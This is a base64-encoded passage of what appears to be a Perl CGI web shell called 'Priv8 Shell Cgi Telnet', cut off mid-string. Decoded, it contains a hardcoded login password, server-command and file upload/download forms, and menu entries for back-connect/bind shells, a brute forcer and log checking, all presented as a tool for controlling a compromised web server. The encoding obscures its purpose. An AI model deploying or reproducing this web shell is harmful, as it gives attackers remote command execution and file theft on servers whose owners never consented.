TFlMWUxOyBtYXJnaW46MDsgZm9udDpub3JtYWwgNzUlIE9wZW4gU2Fucywgc2Fucy1zZXJpZjsgYmFja2dyb3VuZC1pbWFnZTp1cmwoJ2h0dHBzOi8vaS5pbWd1ci5jb20vaExjUUNCeC5naWYnKTsgfSA8L3N0eWxlPgo8Ym9keSBvbkxvYWQ9ImRvY3VtZW50LmYuQF8uZm9jdXMoKSIgIHRvcG1hcmdpbj0iMCIgbGVmdG1hcmdpbj0iMCIgbWFyZ2lud2lkdGg9IjAiIG1hcmdpbmhlaWdodD0iMCI+CjxjZW50ZXI+PGNvZGU+Cjx0YWJsZSBib3JkZXI9IjEiIHdpZHRoPSIxMDAlIiBjZWxsc3BhY2luZz0iMCIgY2VsbHBhZGRpbmc9IjIiPgo8dHI+Cgk8dGQgYWxpZ249ImNlbnRlciIgcm93c3Bhbj0yPgoJCTxiPjxmb250IHNpemU9IjUiPiRFZGl0UGVyc2lvbjwvZm9udD48L2I+Cgk8L3RkPgoKCTx0ZD4KCgkJPGZvbnQgZmFjZT0iT3BlbiBTYW5zIiBzaXplPSIyIj4kRU5WeyJTRVJWRVJfU09GVFdBUkUifTwvZm9udD4KCTwvdGQ+Cgk8dGQ+U2VydmVyIElQOjxmb250IGNvbG9yPSIjZmZmZmZmIj4gJEVOVnsnU0VSVkVSX0FERFInfTwvZm9udD4gfCBZb3VyIElQOiA8Zm9udCBjb2xvcj0iI2ZmZmZmZiI+JEVOVnsnUkVNT1RFX0FERFInfTwvZm9udD4KCTwvdGQ+Cgo8L3RyPgoKPHRyPgo8dGQgY29sc3Bhbj0iMyI+PGZvbnQgZmFjZT0iT3BlbiBTYW5zIiBzaXplPSIyIj4KPGEgaHJlZj0iJFNjcmlwdExvY2F0aW9uIj5Ib21lPC9hPiB8IAo8YSBocmVmPSIkU2NyaXB0TG9jYXRpb24/YT1jb21tYW5kJmQ9JEVuY29kZWRDdXJyZW50RGlyIj5Db21tYW5kPC9hPiB8CjxhIGhyZWY9IiRTY3JpcHRMb2NhdGlvbj9hPWd1aSZkPSRFbmNvZGVkQ3VycmVudERpciI+R1VJPC9hPiB8IAo8YSBocmVmPSIkU2NyaXB0TG9jYXRpb24/YT11cGxvYWQmZD0kRW5jb2RlZEN1cnJlbnREaXIiPlVwbG9hZCBGaWxlPC9hPiB8IAo8YSBocmVmPSIkU2NyaXB0TG9jYXRpb24/YT1kb3dubG9hZCZkPSRFbmNvZGVkQ3VycmVudERpciI+RG93bmxvYWQgRmlsZTwvYT4gfAoKPGEgaHJlZj0iJFNjcmlwdExvY2F0aW9uP2E9YmFja2JpbmQiPkJhY2sgJiBCaW5kPC9hPiB8CjxhIGhyZWY9IiRTY3JpcHRMb2NhdGlvbj9hPWJydXRlZm9yY2VyIj5CcnV0ZSBGb3JjZXI8L2E+IHwKPGEgaHJlZj0iJFNjcmlwdExvY2F0aW9uP2E9Y2hlY2tsb2ciPkNoZWNrIExvZzwvYT4gfAo8YSBocmVmPSIkU2NyaXB0TG9jYXRpb24/YT1kb21haW5zdXNlciI+RG9tYWlucy9Vc2VyczwvYT4gfAo8YSBocmVmPSIkU2NyaXB0TG9jYXRpb24/YT1sb2dvdXQiPkxvZ291dDwvYT4gfAo8YSB0YXJnZXQ9J19ibGFuaycgaHJlZj0iIyI+SGVscDwvYT4KCjwvZm9udD48L3RkPgo8L3RyPgo8L3RhYmxlPgo8Zm9udCBpZD0iUmVzcG9uc2VEYXRhIiBjb2xvcj0iI2ZmOTljYyIgPgpFTkQKfQoKIy0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLQojIFByaW50cyB0aGUgTG9naW4gU2NyZWVuCiMtLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0Kc3ViIFByaW50TG9naW5TY3JlZW4KewoKCXByaW50IDw8RU5EOwo8cHJlPjxzY3JpcHQgdHlwZT0idGV4dC9qYXZhc2NyaXB0Ij4KVHlwaW5nVGV4dCA9IGZ1bmN0aW9uKGVsZW1lbnQsIGludGVydmFsLCBjdXJzb3IsIGZpbmlzaGVkQ2FsbGJhY2spIHsKICBpZigodHlwZW9mIGRvY3VtZW50LmdldEVsZW1lbnRCeUlkID09ICJ1bmRlZmluZWQiKSB8fCAodHlwZW9mIGVsZW1lbnQuaW5uZXJIVE1MID09ICJ1bmRlZmluZWQiKSkgewogICAgdGhpcy5ydW5uaW5nID0gdHJ1ZTsJLy8gTmV2ZXIgcnVuLgogICAgcmV0dXJuOwogIH0KICB0aGlzLmVsZW1lbnQgPSBlbGVtZW50OwogIHRoaXMuZmluaXNoZWRDYWxsYmFjayA9IChmaW5pc2hlZENhbGxiYWNrID8gZmluaXNoZWRDYWxsYmFjayA6IGZ1bmN0aW9uKCkgeyByZXR1cm47IH0pOwogIHRoaXMuaW50ZXJ2YWwgPSAodHlwZW9mIGludGVydmFsID09ICJ1bmRlZmluZWQiID8gMTAwIDogaW50ZXJ2YWwpOwogIHRoaXMub3JpZ1RleHQgPSB0aGlzLmVsZW1lbnQuaW5uZXJIVE1MOwogIHRoaXMudW5wYXJzZWRPcmlnVGV4dCA9IHRoaXMub3JpZ1RleHQ7CiAgdGhpcy5jdXJzb3IgPSAoY3Vyc29yID8gY3Vyc29yIDogIiIpOwogIHRoaXMuY3VycmVudFRleHQgPSAiIjsKICB0aGlzLmN1cnJlbnRDaGFyID0gMDsKICB0aGlzLmVsZW1lbnQudHlwaW5nVGV4dCA9IHRoaXM7CiAgaWYodGhpcy5lbGVtZW50LmlkID09ICIiKSB0aGlzLmVsZW1lbnQuaWQgPSAidHlwaW5ndGV4dCIgKyBUeXBpbmdUZXh0LmN1cnJlbnRJbmRleCsrOwogIFR5cGluZ1RleHQuYWxsLnB1c2godGhpcyk7CiAgdGhpcy5ydW5uaW5nID0gZmFsc2U7CiAgdGhpcy5pblRhZyA9IGZhbHNlOwogIHRoaXMudGFnQnVmZmVyID0gIiI7CiAgdGhpcy5pbkhUTUxFbnRpdHkgPSBmYWxzZTsKICB0aGlzLkhUTUxFbnRpdHlCdWZmZXIgPSAiIjsKfQpUeXBpbmdUZXh0LmFsbCA9IG5ldyBBcnJheSgpOwpUeXBpbmdUZXh0LmN1cnJlbnRJbmRleCA9IDA7ClR5cGluZ1RleHQucnVuQWxsID0gZnVuY3Rpb24oKSB7CiAgZm9yKHZhciBpID0gMDsgaSA8IFR5cGluZ1RleHQuYWxsLmxlbmd0aDsgaSsrKSBUeXBpbmdUZXh0LmFsbFtpXS5ydW4oKTsKfQpUeXBpbmdUZXh0LnByb3RvdHlwZS5ydW4gPSBmdW5jdGlvbigpIHsKICBpZih0aGlzLnJ1bm5pbmcpIHJldHVybjsKICBpZih0eXBlb2YgdGhpcy5vcmlnVGV4dCA9PSAidW5kZWZpbmVkIikgewogICAgc2V0VGltZW91dCgiZG9jdW1lbnQuZ2V0RWxlbWVudEJ5SWQoJyIgKyB0aGlzLmVsZW1lbnQuaWQgKyAiJykudHlwaW5nVGV4dC5ydW4oKSIsIHRoaXMuaW50ZXJ2YWwpOwkvLyBXZSBoYXZlbid0IGZpbmlzaGVkIGxvYWRpbmcgeWV0LiAgSGF2ZSBwYXRpZW5jZS4KICAgIHJldHVybjsKICB9CiAgaWYodGhpcy5jdXJyZW50VGV4dCA9PSAiIikgdGhpcy5lbGVtZW50LmlubmVySFRNTCA9ICIiOwovLyAgdGhpcy5vcmlnVGV4dCA9IHRoaXMub3JpZ1RleHQucmVwbGFjZSgvPChbXjxdKSo+LywgIiIpOyAgICAgLy8gU3RyaXAgSFRNTCBmcm9tIHRleHQuCiAgaWYodGhpcy5jdXJyZW50Q2hhciA8IHRoaXMub3JpZ1RleHQubGVuZ3RoKSB7CiAgICBpZih0aGlzLm9yaWdUZXh0LmNoYXJBdCh0aGlzLmN1cnJlbnRDaGFyKSA9PSAiPCIgJiYgIXRoaXMuaW5UYWcpIHsKICAgICAgdGhpcy50YWdCdWZmZXIgPSAiPCI7CiAgICAgIHRoaXMuaW5UYWcgPSB0cnVlOwogICAgICB0aGlzLmN1cnJlbnRDaGFyKys7CiAgICAgIHRoaXMucnVuKCk7CiAgICAgIHJldHVybjsKICAgIH0gZWxzZSBpZih0aGlzLm9yaWdUZXh0LmNoYXJBdCh0aGlzLmN1cnJlbnRDaGFyKSA9PSAiPiIgJiYgdGhpcy5pblRhZykgewogICAgICB0aGlzLnRhZ0J1ZmZlciArPSAiPiI7CiAgICAgIHRoaXMuaW5UYWcgPSBmYWxzZTsKICAgICAgdGhpcy5jdXJyZW50VGV4dCArPSB0aGlzLnRhZ0J1ZmZlcjsKICAgICAgdGhpcy5jdXJyZW50Q2hhcisrOwogICAgICB0aGlzLnJ1bigpOwogICAgICByZXR1cm47CiAgICB9IGVsc2UgaWYodGhpcy5pblRhZykgewogICAgICB0aGlzLnRhZ0J1ZmZlciArPSB0aGlzLm9yaWdUZXh0LmNoYXJBdCh0aGlzLmN1cnJlbnRDaGFyKTsKICAgICAgdGhpcy5jdXJyZW50Q2hhcisrOwogICAgICB0aGlzLnJ1bigpOwogICAgICByZXR1cm47CiAgICB9IGVsc2UgaWYodGhpcy5vcmlnVGV4dC5jaGFyQXQodGhpcy5jdXJyZW50Q2hhcikgPT0gIiYiICYmICF0aGlzLmluSFRNTEVudGl0eSkgewogICAgICB0aGlzLkhUTUxFbnRpdHlCdWZmZXIgPSAiJiI7CiAgICAgIHRoaXMuaW5IVE1MRW50aXR5ID0gdHJ1ZTsKICAgICAgdGhpcy5jdXJyZW50Q2hhcisrOwogICAgICB0aGlzLnJ1bigpOwogICAgICByZXR1cm47CiAgICB9IGVsc2UgaWYodGhpcy5vcmlnVGV4dC5jaGFyQXQodGhpcy5jdXJyZW50Q2hhcikgPT0gIjsiICYmIHRoaXMuaW5IVE1MRW50aXR5KSB7CiAgICAgIHRoaXMuSFRNTEVudGl0eUJ1ZmZlciArPSAiOyI7CiAgICAgIHRoaXMuaW5IVE1MRW50aXR5ID0gZmFsc2U7CiAgICAgIHRoaXMuY3VycmVudFRleHQgKz0gdGhpcy5IVE1MRW50aXR5QnVmZmVyOwogICAgICB0aGlzLmN1cnJlbnRDaGFyKys7CiAgICAgIHRoaXMucnVuKCk7CiAgICAgIHJldHVybjsKICAgIH0gZWxzZSBpZih0aGlzLmluSFRNTEVudGl0eSkgewogICAgICB0aGlzLkhUTUxFbnRpdHlCdWZmZXIgKz0gdGhpcy5vcmlnVGV4dC5jaGFyQXQodGhpcy5jdXJyZW50Q2hhcik7CiAgICAgIHRoaXMuY3VycmVudENoYXIrKzsKICAgICAgdGhpcy5ydW4oKTsKICAgICAgcmV0dXJuOwogICAgfSBlbHNlIHsKICAgICAgdGhpcy5jdXJyZW50VGV4dCArPSB0aGlzLm9yaWdUZXh0LmNoYXJBdCh0aGlzLmN1cnJlbnRDaGFyKTsKICAgIH0KICAgIHRoaXMuZWxlbWVudC5pbm5lckhUTUwgPSB0aGlzLmN1cnJlbnRUZXh0OwogICAgdGhpcy5lbGVtZW50LmlubmVySFRNTCArPSAodGhpcy5jdXJyZW50Q2hhciA8IHRoaXMub3JpZ1RleHQubGVuZ3RoIC0gMSA/ICh0eXBlb2YgdGhpcy5jdXJzb3IgPT0gImZ1bmN0aW9uIiA/IHRoaXMuY3Vyc29yKHRoaXMuY3VycmVudFRleHQpIDogdGhpcy5jdXJzb3IpIDogIiIpOwogICAgdGhpcy5jdXJyZW50Q2hhcisrOwogICAgc2V0VGltZW91dCgiZG9jdW1lbnQuZ2V0RWxlbWVudEJ5SWQoJyIgKyB0aGlzLmVsZW1lbnQuaWQgKyAiJykudHlwaW5nVGV4dC5ydW4oKSIsIHRoaXMuaW50ZXJ2YWwpOwogIH0gZWxzZSB7Cgl0aGlzLmN1cnJlbnRUZXh0ID0gIiI7Cgl0aGlzLmN1cnJlbnRDaGFyID0gMDsKICAgICAgICB0aGlzLnJ1bm5pbmcgPSBmYWxzZTsKICAgICAgICB0aGlzLmZpbmlzaGVkQ2FsbGJhY2soKTsKICB9Cn0KPC9zY3JpcHQ+CjwvcHJlPgoKPGZvbnQgc3R5bGU9ImZvbnQ6IDE1cHQgT3BlbiBTYW5zOyBjb2xvcjogcmVkOyI+WyBQcml2OCBTaGVsbCBDZ2kgVGVsbmV0IF08L2ZvbnQ+PGJyPjxmb250IHN0eWxlPSJmb250OiA4cHQgT3BlbiBTYW5zOyBjb2xvcjogcmVkOyI+UGFzc3dvcmQ6IHByaXY4c2hlbGwgPC9mb250Pjxicjxicj4KPHRhYmxlIGFsaWduPSJjZW50ZXIiIGJvcmRlcj0iMSIgd2lkdGg9IjYwMCIgaGVpZ2g+Cjx0Ym9keT48dHI+Cjx0ZCB2YWxpZ249InRvcCIgYmFja2dyb3VuZD0iaHR0cDovL2RsLmRyb3Bib3guY29tL3UvMTA4NjAwNTEvaW1hZ2VzL21hdHJhbi5naWYiPjxwIGlkPSJoYWNrIiBzdHlsZT0ibWFyZ2luLWxlZnQ6IDNweDsiPgo8Zm9udCBjb2xvcj0iI2ZmMTExMSI+IFBsZWFzZSBXYWl0IC4gLiAuIC4gLiAuIC4gLiAuIC4gLiAuIC4gLiAuIC4gLiAuIC4gLiAuIC4gLiAuIC4gLiAuIC4gLiAuIC4gLiAuIC4gLiAuIC4gLiAuIC4gLiAuIC48L2ZvbnQ+IDxicj4KCjxmb250IGNvbG9yPSIjZmYxMTExIj4gVHJ5aW5nIGNvbm5lY3QgdG8gU2VydmVyIC4gLiAuIC4gLiAuIC4gLiAuIC4gLiAuIC4gLiAuIC4gLiAuIC4gLiAuIC4gLiAuIC4gLiAuIC4gLiAuIC4gLiAuIC48L2ZvbnQ+PGJyPgo8Zm9udCBjb2xvcj0iI0YwMDAwMCI+PGZvbnQgY29sb3I9IiNmZjExMTEiPn5cJDwvZm9udD4gQ29ubmVjdGVkICEgPC9mb250Pjxicj4KPGZvbnQgY29sb3I9IiNmZjExMTEiPjxmb250IGNvbG9yPSIjZmYxMTExIj4kU2VydmVyTmFtZX48L2ZvbnQ+IENoZWNraW5nIFNlcnZlciAuIC4gLiAuIC4gLiAuIC4gLiAuIC4gLiAuIC4gLiAuIC4gLiAuPC9mb250PiA8YnI+Cgo8Zm9udCBjb2xvcj0iI2ZmMTExMSI+PGZvbnQgY29sb3I9IiNmZjExMTEiPiRTZXJ2ZXJOYW1lfjwvZm9udD4gVHJ5aW5nIGNvbm5lY3QgdG8gQ29tbWFuZCAuIC4gLiAuIC4gLiAuIC4gLiAuIC48L2ZvbnQ+PGJyPgoKPGZvbnQgY29sb3I9IiNGMDAwMDAiPjxmb250IGNvbG9yPSIjZmYxMTExIj4kU2VydmVyTmFtZX48L2ZvbnQ+XCQgQ29ubmVjdGVkIENvbW1hbmQhIDwvZm9udD48YnI+Cjxmb250IGNvbG9yPSIjZmYxMTExIj48Zm9udCBjb2xvcj0iI2ZmMTExMSI+JFNlcnZlck5hbWV+PGZvbnQgY29sb3I9IiNGMDAwMDAiPlwkPC9mb250PjwvZm9udD4gT0shIFlvdSBjYW4ga2lsbCBpdCE8L2ZvbnQ+CjwvdHI+CjwvdGJvZHk+PC90YWJsZT4KPGJyPgoKPHNjcmlwdCB0eXBlPSJ0ZXh0L2phdmFzY3JpcHQiPgpuZXcgVHlwaW5nVGV4dChkb2N1bWVudC5nZXRFbGVtZW50QnlJZCgiaGFjayIpLCAzMCwgZnVuY3Rpb24oaSl7IHZhciBhciA9IG5ldyBBcnJheSgiXyIsIiIpOyByZXR1cm4gIiAiICsgYXJbaS5sZW5ndGggJSBhci5sZW5ndGhdOyB9KTsKVHlwaW5nVGV4dC5ydW5BbGwoKTsKCjwvc2NyaXB0PgpFTkQKfQoKIy0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLQojIEFkZCBodG1sIHNwZWNpYWwgY2hhcnMKIy0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLQpzdWIgSHRtbFNwZWNpYWxDaGFycygkKXsKCW15ICR0ZXh0ID0gc2hpZnQ7CgkkdGV4dCA9fiBzLyYvJmFtcDsvZzsKCSR0ZXh0ID1+IHMvIi8mcXVvdDsvZzsKCSR0ZXh0ID1+IHMvJy8mIzAzOTsvZzsKCSR0ZXh0ID1+IHMvPC8mbHQ7L2c7CgkkdGV4dCA9fiBzLz4vJmd0Oy9nOwoJcmV0dXJuICR0ZXh0Owp9CiMtLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0KIyBBZGQgbGluayBmb3IgZGlyZWN0b3J5CiMtLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0Kc3ViIEFkZExpbmtEaXIoJCkKewoJbXkgJGFjPXNoaWZ0OwoJbXkgQGRpcj0oKTsKCWlmKCRXaW5OVCkKCXsKCQlAZGlyPXNwbGl0KC9cXC8sJEN1cnJlbnREaXIpOwoJfWVsc2UKCXsKCQlAZGlyPXNwbGl0KCIvIiwmdHJpbSgkQ3VycmVudERpcikpOwoJfQoJbXkgJHBhdGg9IiI7CglteSAkcmVzdWx0PSIiOwoJZm9yZWFjaCAoQGRpcikKCXsKCQkkcGF0aCAuPSAkXy4kUGF0aFNlcDsKCQkkcmVzdWx0Lj0iPGEgaHJlZj0nP2E9Ii4kYWMuIiZkPSIuJHBhdGguIic+Ii4kXy4kUGF0aFNlcC4iPC9hPiI7Cgl9CglyZXR1cm4gJHJlc3VsdDsKfQojLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tCiMgUHJpbnRzIHRoZSBtZXNzYWdlIHRoYXQgaW5mb3JtcyB0aGUgdXNlciBvZiBhIGZhaWxlZCBsb2dpbgojLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tCnN1YiBQcmludExvZ2luRmFpbGVkTWVzc2FnZQp7CglwcmludCA8PEVORDsKPGJyPkxvZ2luIDogQWRtaW5pc3RyYXRvcjxicj4KClBhc3N3b3JkOjxicj4KTG9naW4gaW5jb3JyZWN0PGJyPjxicj4KRU5ECn0KCiMtLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0KIyBQcmludHMgdGhlIEhUTUwgZm9ybSBmb3IgbG9nZ2luZyBpbgojLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tCnN1YiBQcmludExvZ2luRm9ybQp7CglwcmludCA8PEVORDsKPGZvcm0gbmFtZT0iZiIgbWV0aG9kPSJQT1NUIiBhY3Rpb249IiRTY3JpcHRMb2NhdGlvbiI+CjxpbnB1dCB0eXBlPSJoaWRkZW4iIG5hbWU9ImEiIHZhbHVlPSJsb2dpbiI+CkxvZ2luIDogQWRtaW5pc3RyYXRvcjxicj4KUGFzc3dvcmQ6PGlucHV0IHR5cGU9InBhc3N3b3JkIiBuYW1lPSJwIj4KPGlucHV0IGNsYXNzPSJzdWJtaXQiIHR5cGU9InN1Ym1pdCIgdmFsdWU9IkVudGVyIj4KPC9mb3JtPgpFTkQKfQoKIy0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLQojIFByaW50cyB0aGUgZm9vdGVyIGZvciB0aGUgSFRNTCBQYWdlCiMtLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0Kc3ViIFByaW50UGFnZUZvb3Rlcgp7CglwcmludCAiPC9jb2RlPjwvY2VudGVyPjwvYm9keT48L2h0bWw+IjsKfQoKIy0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLQojIFJldHJlaXZlcyB0aGUgdmFsdWVzIG9mIGFsbCBjb29raWVzLiBUaGUgY29va2llcyBjYW4gYmUgYWNjZXNzZXMgdXNpbmcgdGhlCiMgdmFyaWFibGUgJENvb2tpZXN7J30KIy0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLQpzdWIgR2V0Q29va2llcwp7CglAaHR0cGNvb2tpZXMgPSBzcGxpdCgvOyAvLCRFTlZ7J0hUVFBfQ09PS0lFJ30pOwoJZm9yZWFjaCAkY29va2llKEBodHRwY29va2llcykKCXsKCQkoJGlkLCAkdmFsKSA9IHNwbGl0KC89LywgJGNvb2tpZSk7CgkJJENvb2tpZXN7JGlkfSA9ICR2YWw7Cgl9Cn0KCiMtLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0KIyBQcmludHMgdGhlIHNjcmVlbiB3aGVuIHRoZSB1c2VyIGxvZ3Mgb3V0CiMtLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0Kc3ViIFByaW50TG9nb3V0U2NyZWVuCnsKCXByaW50ICJDb25uZWN0aW9uIGNsb3NlZCBieSBmb3JlaWduIGhvc3QuPGJyPjxicj4iOwp9CgojLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tCiMgTG9ncyBvdXQgdGhlIHVzZXIgYW5kIGFsbG93cyB0aGUgdXNlciB0byBsb2dpbiBhZ2FpbgojLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tCnN1YiBQZXJmb3JtTG9nb3V0CnsKCXByaW50ICJTZXQtQ29va2llOiBTQVZFRFBXRD07XG4iOyAjIHJlbW92ZSBwYXNzd29yZCBjb29raWUKCSZQcmludFBhZ2VIZWFkZXIoInAiKTsKCSZQcmludExvZ291dFNjcmVlbjsKCgkmUHJpbnRMb2dpblNjcmVlbjsKCSZQcmludExvZ2luRm9ybTsKCSZQcmludFBhZ2VGb290ZXI7CglleGl0Owp9CgojLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tCiMgVGhpcyBmdW5jdGlvbiBpcyBjYWxsZWQgdG8gbG9naW4gdGhlIHVzZXIuIElmIHRoZSBwYXNzd29yZCBtYXRjaGVzLCBpdAojIGRpc3BsYXlzIGEgcGFnZSB0aGF0IGFsbG93cyB0aGUgdXNlciB0byBydW4gY29tbWFuZHMuIElmIHRoZSBwYXNzd29yZCBkb2Vucyd0CiMgbWF0Y2ggb3IgaWYgbm8gcGFzc3dvcmQgaXMgZW50ZXJlZCwgaXQgZGlzcGxheXMgYSBmb3JtIHRoYXQgYWxsb3dzIHRoZSB1c2VyCiMgdG8gbG9naW4KIy0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLQpzdWIgUGVyZm9ybUxvZ2luIAp7CglpZigkTG9naW5QYXNzd29yZCBlcSAkUGFzc3dvcmQpICMgcGFzc3dvcmQgbWF0Y2hlZAoJewoJCXByaW50ICJTZXQtQ29va2llOiBTQVZFRFBXRD0kTG9naW5QYXNzd29yZDtcbiI7CgkJJlByaW50UGFnZUhlYWRlcjsKCQlwcmludCAmTGlzdERpcjsKCX0KCWVsc2UgIyBwYXNzd29yZCBkaWRuJ3QgbWF0Y2gKCXsKCQkmUHJpbnRQYWdlSGVhZGVyKCJwIik7CgkJJlByaW50TG9naW5TY3JlZW47CgkJaWYoJExvZ2luUGFzc3dvcmQgbmUgIiIpICMgc29tZSBwYXNzd29yZCB3YXMgZW50ZXJlZAoJCXsKCQkJJlByaW50TG9naW5GYWlsZWRNZXNzYWdlOwoKCQl9CgkJJlByaW50TG9naW5Gb3JtOwoJCSZQcmludFBhZ2VGb290ZXI7CgkJZXhpdDsKCX0KfQoKIy0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLQojIFByaW50cyB0aGUgSFRNTCBmb3JtIHRoYXQgYWxsb3dzIHRoZSB1c2VyIHRvIGVudGVyIGNvbW1hbmRzCiMtLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0Kc3ViIFByaW50Q29tbWFuZExpbmVJbnB1dEZvcm0KewoJbXkgJGRpcj0gIjxzcGFuIHN0eWxlPSdmb250OiAxMXB0IE9wZW4gU2FuczsgZm9udC13ZWlnaHQ6IGJvbGQ7Jz4iLiZBZGRMaW5rRGlyKCJjb21tYW5kIikuIjwvc3Bhbj4iOwoJJFByb21wdCA9ICRXaW5OVCA/ICIkZGlyID4gIiA6ICI8Zm9udCBjb2xvcj0nIyM2NmZmNjYnPlthZG1pblxAJFNlcnZlck5hbWUgJGRpcl1cJDwvZm9udD4gIjsKCXJldHVybiA8PEVORDsKPGZvcm0gbmFtZT0iZiIgbWV0aG9kPSJQT1NUIiBhY3Rpb249IiRTY3JpcHRMb2NhdGlvbiI+Cgo8aW5wdXQgdHlwZT0iaGlkZGVuIiBuYW1lPSJhIiB2YWx1ZT0iY29tbWFuZCI+Cgo8aW5wdXQgdHlwZT0iaGlkZGVuIiBuYW1lPSJkIiB2YWx1ZT0iJEN1cnJlbnREaXIiPgokUHJvbXB0CjxpbnB1dCB0eXBlPSJ0ZXh0IiBzaXplPSI1MCIgbmFtZT0iYyI+CjxpbnB1dCBjbGFzcz0ic3VibWl0InR5cGU9InN1Ym1pdCIgdmFsdWU9IkVudGVyIj4KPC9mb3JtPgpFTkQKfQoKIy0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLQojIFByaW50cyB0aGUgSFRNTCBmb3JtIHRoYXQgYWxsb3dzIHRoZSB1c2VyIHRvIGRvd25sb2FkIGZpbGVzCiMtLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0Kc3ViIFByaW50RmlsZURvd25sb2FkRm9ybQp7CglteSAkZGlyID0gJkFkZExpbmtEaXIoImRvd25sb2FkIik7IAoJJFByb21wdCA9ICRXaW5OVCA/ICIkZGlyID4gIiA6ICJbYWRtaW5cQCRTZXJ2ZXJOYW1lICRkaXJdXCQgIjsKCXJldHVybiA8PEVORDsKPGZvcm0gbmFtZT0iZiIgbWV0aG9kPSJQT1NUIiBhY3Rpb249IiRTY3JpcHRMb2NhdGlvbiI+CjxpbnB1dCB0eXBlPSJoaWRkZW4iIG5hbWU9ImQiIHZhbHVlPSIkQ3VycmVudERpciI+CjxpbnB1dCB0eXBlPSJoaWRkZW4iIG5hbWU9ImEiIHZhbHVlPSJkb3dubG9hZCI+CiRQcm9tcHQgZG93bmxvYWQ8YnI+PGJyPgpGaWxlbmFtZTogPGlucHV0IGNsYXNzPSJmaWxlIiB0eXBlPSJ0ZXh0IiBuYW1lPSJmIiBzaXplPSIzNSI+PGJyPjxicj4KRG93bmxvYWQ6IDxpbnB1dCBjbGFzcz0ic3VibWl0IiB0eXBlPSJzdWJtaXQiIHZhbHVlPSJCZWdpbiI+Cgo8L2Zvcm0+CkVORAp9CgojLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tCiMgUHJpbnRzIHRoZSBIVE1MIGZvcm